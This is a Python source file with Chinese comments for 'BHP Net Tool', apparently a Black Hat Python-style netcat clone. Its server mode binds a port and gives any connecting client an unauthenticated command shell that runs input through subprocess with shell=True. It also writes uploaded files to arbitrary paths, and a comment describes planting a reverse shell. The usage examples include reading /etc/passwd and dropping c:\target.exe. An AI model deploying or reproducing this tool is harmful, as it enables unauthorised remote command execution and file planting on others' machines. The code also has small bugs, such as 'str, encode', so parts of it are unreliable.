#!/usr/bin/python
# -*- coding:utf-8 -*-
import sys
import socket
import getopt
import threading
import subprocess
from chardet import detect

# 定义一些全局变量
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0


def run_command(command):
    """
     函数用于执行命令，其中subprocess
     库提供多种与客户端程序交互的方法；
    :param command 命令
    """
    # 换行
    command = command.rstrip()

    # 运行命令并将输出返回
    try:
        command = bytes.decode(command)
        print(command)
        output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
    except Exception as b:
        print(b)
        output = "Failed to execute command. \r\n"

    # 返回执行结果
    return output


def client_handler(client_socket):
    """
     函数用于实现文件上传、命令执行和
     与shell相关的功能，其中wb标识确
     保是以二进制的格式写入文件、从而
     确保上传和写入的二进制文件能够成
     功执行
    :param client_socket 客户端套接字
    """
    global upload
    global execute
    global command

    # 检测上传文件
    if len(upload_destination):

        # 读取所有的字符并写下目标
        file_buffer = ""

        # 持续读取数据知道没有符合的数据
        while True:
            data = client_socket.recv(1024)
            if not data:
                break
            else:
                file_buffer += data

        # 现在我们接受这些数据并将他们写出来
        try:
            file_descriptor = open(upload_destination, "wb")
            file_descriptor.write(file_buffer)
            file_descriptor.close()

            # 确认文件已经写出来
            client_socket.send(str, encode("Successfully saved file to %s\r\n" % upload_destination))
        except:
            client_socket.send(str.encode("Failed to save file to %s\r\n" % upload_destination))

    # 检测命令执行
    if len(execute):
        # 运行命令
        output = run_command(execute)
        client_socket.send(str.encode(output))

    # 如果需要一个命令行shell，那么我们进入另一个循环
    if command:

        client_socket.send(str.encode("<BHP:#>"))
        while True:
            # 发送一个标志，开始新命令
            # client_socket.send(str.encode("<BHP:#>"))

            # 现在我们接受命令直到发现换行符(enter key)
            cmd_buffer = ""
            cmd_buffer = str.encode(cmd_buffer)
            while "\n" not in bytes.decode(cmd_buffer):
                cmd_buffer += client_socket.recv(4096)

            # 返还命令输出
            response = run_command(cmd_buffer)

            # 返回相应数据
            bytestype = detect(response)
            if bytestype["encoding"] == "GB2312":
                response = response.decode('gbk')
                response = str.encode(response)
            print("发送结果数据")
            client_socket.send(response)


def server_loop():
    """
     函数用于建立监听端口并实现多
     线程处理新的客户端；
    """
    global target

    # 如果没有定义目标，那么我们监听所有接口
    if not len(target):
        target = "0.0.0.0"
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((target, port))
    server.listen(5)
    while True:
        client_socket, addr = server.accept()

        # 分拆一个线程处理新的客户端
        client_thread = threading.Thread(target=client_handler, args=(client_socket,))
        client_thread.start()


def client_sender():
    """
     作为客户端与目标主机进行连接数据交互
     会一直等待命令输入和接收数据，直到
     脚本结束
    :param buffer   命令行数据
    """
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        # 连接到目标主机
        client.connect((target, port))
        # if len(buffer):
        #     client.send(str.encode(buffer))
        while True:
            # 现在等待数据回传
            recv_len = 1
            response = ""
            while recv_len:
                data = client.recv(4096)
                recv_len = len(data)
                data = bytes.decode(data)
                response += data
                if recv_len < 4096:
                    break
            print(response)

            # 等待更多的输入
            buffer = input("")
            buffer += "\n"

            # 发送命令
            client.send(str.encode(buffer))
    except Exception as e:
        print(e)
        print("[*] Exception ! Exiting.")
        client.close()


def usage():
    """
     函数用于参数的说明帮助、
     当用户输入错误的参数时
     会输出相应的提示
    """
    print("BHP Net Tool")
    print()
    print("Usage:netcat.py -t target_host -p port")
    print("-l --listen                 - listen on [host]:[port] for incoming connections")
    print("-e --execute=file_to_run    - -execute the given file upon receiving a connection")
    print("-c --command                - initialize a commandshell")
    print("-u --upload=destination     - upon receiving connection upload a file and write to [destination]")
    print()
    print()
    print("Examples: ")
    print("netcat.py -t 192.168.0.1 -p 5555 -l -c")
    print("netcat.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe")
    print("netcat.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd")
    print("echo 'ABCDEFGHI' | python ./netcat.py -t 192.168.11.12 -p 135")
    sys.exit(0)


def main():
    global listen
    global port
    global execute
    global command
    global upload_destination
    global target

    if not len(sys.argv[1:]):
        usage()

    # 读取命令行选项
    try:
        opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu",
                                   ["help", "listen", "execute", "port", "command", "upload"])
    except getopt.GetoptError as err:
        print(str(err))
        usage()

    # o输入的指令，a是o后面跟着的值
    for o, a in opts:
        if o in ("-h", "help"):
            usage()
        elif o in ("-l", "--listen"):
            listen = True
        elif o in ("-e", "--execute"):
            execute = a
        elif o in ("-c", "--commandshell"):
            command = True
        elif o in ("-u", "--upload"):
            upload_destination = a
        elif o in ("-t", "--target"):
            target = a
        elif o in ("-p", "--port"):
            port = int(a)
        else:
            assert False, "Unhandled Optin"
    # 我们是进行监听还是仅从标准输入发送数据？
    if not listen and len(target) and port > 0:  # 作为客户端走这

        # 从命令行读取内存数据
        # 这里将阻塞，所以不再向标准输入发送数据时发送CTRL-D
        # buffer = sys.stdin.read()

        # 发送数据
        # client_sender(buffer)
        client_sender()

    # 我们开始监听并准备上传文件，执行命令
    # 放置一个反弹shell
    # 取决与上面的命令行选项
    if listen:  # 作为服务器走这
        server_loop()


if __name__ == '__main__':
    main()
